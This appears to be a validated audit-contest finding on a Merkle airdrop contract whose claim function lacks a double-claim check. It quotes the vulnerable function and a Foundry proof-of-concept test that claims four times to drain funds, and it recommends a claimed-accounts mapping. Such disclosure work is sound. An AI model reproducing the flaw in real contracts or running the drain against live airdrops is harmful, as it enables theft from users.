Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Users can claim multiple times and steal all funds.

Description

The claim function in MerkleAirdrop.sol allows a user to collect their airdrop. However, it doesn't account for whether a user has already claimed their airdrop. This allows any user with a valid proof to claim multiple times and steal all the remaining funds in the contract.

Since the account is specified by the sender, anyone can drain the contract by sending all funds to any valid user in the Merkle root tree.

function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(account, amount)))
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

Risk

Likelyhood: High

  • Any user (sending to an airdrop user), at any time.

Impact: High

  • All funds can be stolen.

Proof of Concept

Foundry PoC to add in `MerkleAirdropTest.t.sol`
function testUsersCanStealAllAirdrop() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee() * 4);
vm.startPrank(collectorOne);
for (uint i = 0; i < 4; i++) {
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
}
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToCollect * 4);
}

Recommended Mitigation

Create a mapping to keep track of users' claims and prevent any user to claim more than once.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.